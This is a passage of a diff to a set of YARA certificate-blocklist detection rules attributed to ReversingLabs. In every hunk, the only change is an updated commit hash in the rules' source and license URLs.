+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fb83cf25be19e7cccd2c8369c3a37a90af72cb2f76db3619b8311d2a851335a8"
 		score = 75
 		quality = 90
@@ -5981,8 +6034,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Df2Dfed47C6Fd6542131847Cffbc102 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3360-L3376"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3360-L3376"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fc6adbfd45ff6ac465aecb3db862421f02170e977fc044017f3ddc306a9f7a37"
 		score = 75
 		quality = 90
@@ -6006,8 +6059,8 @@ rule REVERSINGLABS_Cert_Blocklist_74Fedf0F8398060Fa8378C6D174465C8 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3378-L3394"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3378-L3394"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "406821c7990f05fdad91704f6418304f53dd4800bc4b41912177a1695858fade"
 		score = 75
 		quality = 90
@@ -6031,8 +6084,8 @@ rule REVERSINGLABS_Cert_Blocklist_3Bd6A5Bba28E7C1Ca44880159Dace237 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3396-L3412"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3396-L3412"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f885c782148947d09133a3cc65319e02204c21d6c6d911b360840f25f37601dc"
 		score = 75
 		quality = 90
@@ -6056,8 +6109,8 @@ rule REVERSINGLABS_Cert_Blocklist_C04F8F1E00C69E96A51Bf14Aab1C6Ae0 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3414-L3432"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3414-L3432"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c2b5ffa305b761b57dd91c0acea0d8f82bec6b7d3608be10a20ea63621f3f3e8"
 		score = 75
 		quality = 90
@@ -6081,8 +6134,8 @@ rule REVERSINGLABS_Cert_Blocklist_23F537Ce13C6Cccdfd3F8Ce81Fb981Cb : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3434-L3450"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3434-L3450"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d347bce3eddd0cac276a7504955f0342ae44fd93d238e514af5b1fdc208b68fc"
 		score = 75
 		quality = 90
@@ -6106,8 +6159,8 @@ rule REVERSINGLABS_Cert_Blocklist_73Ecfdbb99Aec176Ddfcf7958D120E1A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3452-L3468"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3452-L3468"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d911156707cef97acf79c096b5d4a4db166ddf05237168f1ecffb0c0a2ebd8fa"
 		score = 75
 		quality = 90
@@ -6131,8 +6184,8 @@ rule REVERSINGLABS_Cert_Blocklist_675129Bb174A5B05E330Cc09F8Bbd70A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3470-L3486"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3470-L3486"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d989ea5233e8a64bffa0e29645c3458ef1f5173158ced7814c3b473b92ef49f4"
 		score = 75
 		quality = 90
@@ -6156,8 +6209,8 @@ rule REVERSINGLABS_Cert_Blocklist_De13Fe2Dbb8F890287E1780Aff6Ffd22 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3488-L3504"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3488-L3504"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ebd983bcfa1e5d54af9d9e07d80d05f4752040eab92e63cd986db789fa07026f"
 		score = 75
 		quality = 90
@@ -6181,8 +6234,8 @@ rule REVERSINGLABS_Cert_Blocklist_Da000D18949C247D4Ddfc2585Cc8Bd0F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3506-L3524"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3506-L3524"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3453f13e633a2c233f78d0389c655bb5304e567407b3e0c5c47e5e7127c345ca"
 		score = 75
 		quality = 90
@@ -6206,8 +6259,8 @@ rule REVERSINGLABS_Cert_Blocklist_06E842D3Ea6249D783D6B55E29C060C7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3526-L3542"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3526-L3542"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9f71de0119527c8580f9e47e3fba07242814c5a537d727d4541fd7a802b0cb86"
 		score = 75
 		quality = 90
@@ -6231,8 +6284,8 @@ rule REVERSINGLABS_Cert_Blocklist_06473C3C19D9E1A9429B58B6Faec2967 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3544-L3560"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3544-L3560"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f9ca49ce65d213dce803806956c0ce1da0c4068bea173daae9cb06dab0a86268"
 		score = 75
 		quality = 90
@@ -6256,8 +6309,8 @@ rule REVERSINGLABS_Cert_Blocklist_39F56251Df2088223Cc03494084E6081 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3562-L3578"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3562-L3578"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c87850f91758a5bb3bdf6f6d7de9a3f53077d64cebdde541ac0742d3cea4f4e0"
 		score = 75
 		quality = 90
@@ -6281,8 +6334,8 @@ rule REVERSINGLABS_Cert_Blocklist_1362E56D34Dc7B501E17Fa1Ac3C3E3D9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3580-L3596"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3580-L3596"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0415c5a49076bab23dfc29ef2d6168b93d6bfde07a89ccb0368d2c967422407a"
 		score = 75
 		quality = 90
@@ -6306,8 +6359,8 @@ rule REVERSINGLABS_Cert_Blocklist_4B83593Fc78D92Cfaa9Bdf3F97383964 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3598-L3614"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3598-L3614"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "775e41fc102cbaeb9374984380b0e073de2a0075b9a200f8ab644bd1369ba015"
 		score = 75
 		quality = 90
@@ -6331,8 +6384,8 @@ rule REVERSINGLABS_Cert_Blocklist_C7505E7464E00Ec1Dccd8D1B466D15Ff : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3616-L3634"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3616-L3634"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7c5c84cb9071eff6a1bd7062506b807466bb4a432d1ed073961898c6c08cc4bd"
 		score = 75
 		quality = 90
@@ -6356,8 +6409,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cbf91988Fb83511De1B3A7A520712E9C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3636-L3654"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3636-L3654"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5862a8ec43d2e545f36b815ada2bb31c4384a8161c6956a31f3bd517532923fd"
 		score = 75
 		quality = 90
@@ -6381,8 +6434,8 @@ rule REVERSINGLABS_Cert_Blocklist_Ce3675Ae4Abfe688870Bcacb63060F4F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3656-L3674"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3656-L3674"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0c6f2ef55bef283a3f915fd8c1ced27c3c665f7f490caeea0f180c2d7fa2b2b5"
 		score = 75
 		quality = 90
@@ -6406,8 +6459,8 @@ rule REVERSINGLABS_Cert_Blocklist_9813229Efe0046D23542Cc7569D5A403 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3676-L3694"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3676-L3694"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0d8f0df83572b8d31f29cb76f44d524fd1ae0467d2d99af959e45694524d18e8"
 		score = 75
 		quality = 90
@@ -6431,8 +6484,8 @@ rule REVERSINGLABS_Cert_Blocklist_86E5A9B9E89E5075C475006D0Ca03832 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3696-L3714"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3696-L3714"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5ba0b0f1b104eb11023590b8ef2b9cc747372bc9310a754694d45d3b3ce293e9"
 		score = 75
 		quality = 90
@@ -6456,8 +6509,8 @@ rule REVERSINGLABS_Cert_Blocklist_075Dca9Ca84B93E8A89B775128F90302 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3716-L3732"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3716-L3732"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "32af21e71fb3475c50de4cd8a24fa0aec1ee67bc01c1a3720c12f9ce822833c3"
 		score = 75
 		quality = 90
@@ -6481,8 +6534,8 @@ rule REVERSINGLABS_Cert_Blocklist_0Ddce8Cdc91B5B649Bb4B45Ffbba6C6C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3734-L3750"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3734-L3750"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "622e6ed08ca26908539519f37cf493f8030100bd5e88cb05e851b7d56b0f4c0d"
 		score = 75
 		quality = 90
@@ -6506,8 +6559,8 @@ rule REVERSINGLABS_Cert_Blocklist_9Bd614D5869Bb66C96B67E154D517384 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3752-L3770"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3752-L3770"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d9eea38a1340797cef129b12cf2bb46c444e6f312db7356260f0ac0d9e63183d"
 		score = 75
 		quality = 90
@@ -6531,8 +6584,8 @@ rule REVERSINGLABS_Cert_Blocklist_540Cea639D5D48669B7F2F64 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3772-L3788"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3772-L3788"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3d3774f10ff9949ea13a7892662438b84b3eb895fc986092649fa9b192170d48"
 		score = 75
 		quality = 90
@@ -6556,8 +6609,8 @@ rule REVERSINGLABS_Cert_Blocklist_03A7748A4355020A652466B5E02E07De : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3790-L3806"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3790-L3806"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6dc6d0fd2b702939847981ff31c2d8103227ccd0c19f999849ff89c64a90f92f"
 		score = 75
 		quality = 90
@@ -6581,8 +6634,8 @@ rule REVERSINGLABS_Cert_Blocklist_B881A72D4117Bbc38B81D3C65C792C1A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3808-L3826"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3808-L3826"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "bad2a06090f077ebc635d21446b47c9f115fe477567afb3d5994043f5a7883b1"
 		score = 75
 		quality = 90
@@ -6606,8 +6659,8 @@ rule REVERSINGLABS_Cert_Blocklist_08653Ef2Ed9E6Ebb56Ffa7E93F963235 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3828-L3844"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3828-L3844"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5ae8d2fb03cd0f945c2f5eb86de4e5da4fbb1cdf233d8a808157304538ced872"
 		score = 75
 		quality = 90
@@ -6631,8 +6684,8 @@ rule REVERSINGLABS_Cert_Blocklist_9C4816D900A6Ecdbe54Adf72B19Ebcf5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3846-L3864"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3846-L3864"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "92e8130f444417d5bc3788721280338bbed33e3362104de0cf27bc7c1fc30d0e"
 		score = 75
 		quality = 90
@@ -6656,8 +6709,8 @@ rule REVERSINGLABS_Cert_Blocklist_269174F9Fe7C6Ed4E1D19B26C3F5B35F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3866-L3882"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3866-L3882"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "95c9720d6311c2fe7026b6cac092d59967479e6c9382eac1d26f7745efa92860"
 		score = 75
 		quality = 90
@@ -6681,8 +6734,8 @@ rule REVERSINGLABS_Cert_Blocklist_523Fb4036368Dc26192D68827F2D889B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L3884-L3900"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L3884-L3900"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f1886a046305637d335c493972560de56d8186bf99183aed5e2040b2e530fc22"
 		score = 75
 		quality = 90
@@ -6706,8 +6759,8 @@ rule REVERSINGLABS_Cert_Blocklist_84F842F6D33Cd2F25B88Dd1710E21137 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
